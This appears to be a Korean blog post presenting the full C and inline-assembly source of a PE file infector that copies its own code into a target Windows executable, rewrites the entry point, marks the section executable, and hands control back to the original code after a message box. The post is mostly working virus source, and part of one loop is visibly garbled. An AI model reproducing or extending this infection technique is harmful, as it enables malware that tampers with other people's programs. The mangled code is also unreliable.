PE 파일의 OptionalHeader에 AddressOfEntryPoint를 이용한 방식입니다.
간단한 흐름을 설명하자면
원래의 감염체가 피감염체에 자신의 코드 일부분을 복제하여 삽입합니다.
현재 기능으로는 단순 메세지박스를 출력하는 범위로 심플합니다.
먼저 전체 코드를 보여드리고 자세한 설명은 다음에 하도록하겠습니다.
#include
#include
#define szLine(x) __asm _emit x
#define TARGET_FILE_NAME "c:\\PEview.exe"
void FreeData(HANDLE hFile, HANDLE hFileMap)
{
CloseHandle(hFile);
CloseHandle(hFileMap);
}
void FreeData(HANDLE hFile)
{
CloseHandle(hFile);
}
#include "blackrus.h"
__declspec(naked) void StartInfeCode()
{
__asm
{
pushad
call InfectionCode
InfectionCode:
pop ebp
sub ebp, offset InfectionCode
push MB_OK
lea eax, [ebp+szTitle]
push eax
lea eax, [ebp+szText]
push eax
push 0
mov eax, 0xAAAAAAAA
call eax
popad
push 0xAAAAAAAA
retn
szText:
szLine('b') szLine('l') szLine('a') szLine('c') szLine('k') szLine('r') szLine('u') szLine('s')
szLine(' ')
szLine('b') szLine('y') szLine(' ')
szLine('k') szLine('i') szLine('m')
szLine(' ')
szLine('d') szLine('a') szLine('e')
szLine(' ')
szLine('i') szLine('n')
szLine(0)
szTitle:
szLine('I') szLine('n') szLine('f') szLine('e') szLine('c') szLine('t') szLine('i') szLine('o') szLine('n')
szLine(0)
}
}
void EndInfeCode(){}
int InfectionMain()
{
PIMAGE_DOS_HEADER pDosh;
PIMAGE_NT_HEADERS pNth;
PIMAGE_SECTION_HEADER pSech;
HANDLE hFile;
HANDLE hFileMap;
HMODULE hMod;
DWORD Size;
DWORD oep;
DWORD NewEp;
DWORD CopyAddr;
DWORD CodeStart;
DWORD CodeEnd;
DWORD CodeLen;
DWORD CodeCallLine=0;
DWORD CodeReturnLine=0;
LPBYTE Base;
int i;
int max;
int flag;
unsigned char* buf;
flag = 0;
CodeStart = (DWORD)StartInfeCode;
CodeEnd = (DWORD)EndInfeCode;
CodeLen = CodeEnd - CodeStart;
//printf("%x",CodeLen);
hFile = CreateFile(TARGET_FILE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(INVALID_HANDLE_VALUE == hFile)
{
printf(":P, CreateFile\n");
FreeData(hFile);
return -1;
}
Size = GetFileSize(hFile,0);
if(NULL == Size)
{
printf(":P, GetFileSize\n");
FreeData(hFile);
return -2;
}
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, Size+CodeLen, NULL);
if(NULL == hFileMap)
{
printf(":P, CreateFileMapping\n");
FreeData(hFile,hFileMap);
return -3;
}
Base = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, Size+CodeLen);
if(NULL == Base)
{
printf(":P, MapViewOfFile\n");
FreeData(hFile,hFileMap);
return -4;
}
pDosh = (PIMAGE_DOS_HEADER)Base;
if(IMAGE_DOS_SIGNATURE != pDosh->e_magic)
{
printf(":P, Dosh\n");
FreeData(hFile,hFileMap);
return -5;
}
pNth = (PIMAGE_NT_HEADERS)((DWORD)Base + pDosh->e_lfanew);
if(IMAGE_NT_SIGNATURE != pNth->Signature)
{
printf(":P, Nth\n");
FreeData(hFile,hFileMap);
return -6;
}
pSech = (PIMAGE_SECTION_HEADER)((DWORD)Base + pDosh->e_lfanew + sizeof(IMAGE_NT_HEADERS));
max = (int)pNth->FileHeader.NumberOfSections;
for(i=1;iOptionalHeader.AddressOfEntryPoint;
CopyAddr = pSech->PointerToRawData+pSech->SizeOfRawData;
NewEp = CopyAddr;
NewEp -= pSech->PointerToRawData;
NewEp = pNth->OptionalHeader.ImageBase+pSech->VirtualAddress + pSech->SizeOfRawData;
buf = (unsigned char*)malloc(CodeLen+1);
memcpy(buf,StartInfeCode,CodeLen);
for(i=0;i <= CodeLen;i++)
{
if(0xAA == buf[i])
{
flag++;
if(4 == flag && 0 == CodeCallLine)
{
CodeCallLine = i - 3;
}
else if(4 == flag && 0 == CodeReturnLine)
{
CodeReturnLine = i - 3;
}
}
else
{
flag = 0;
}
}
hMod = LoadLibrary("User32.dll");
if(!hMod)
{
printf(":P, LoadLibrary");
return -7;
}
*(unsigned long*)(buf + CodeReturnLine) = oep + pNth->OptionalHeader.ImageBase;
*(unsigned long*)(buf + CodeCallLine) = ((DWORD)GetProcAddress(hMod,"MessageBoxA"));
FreeLibrary(hMod);
memcpy((LPBYTE)Base+CopyAddr, buf, CodeLen);
pNth->OptionalHeader.AddressOfEntryPoint = NewEp-pNth->OptionalHeader.ImageBase;
pSech->SizeOfRawData += CodeLen;
pSech->Misc.VirtualSize += CodeLen;
pSech->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
free(buf);
return 0;
}
int main()
{
if(0 != InfectionMain())
{
printf(":P, InfectionMain\n");
return -1;
}
return 0;
}
*ps. 135번째 줄 출력이 이상하네요.
Trackback URL : http://blackrus.tistory.com/trackback/9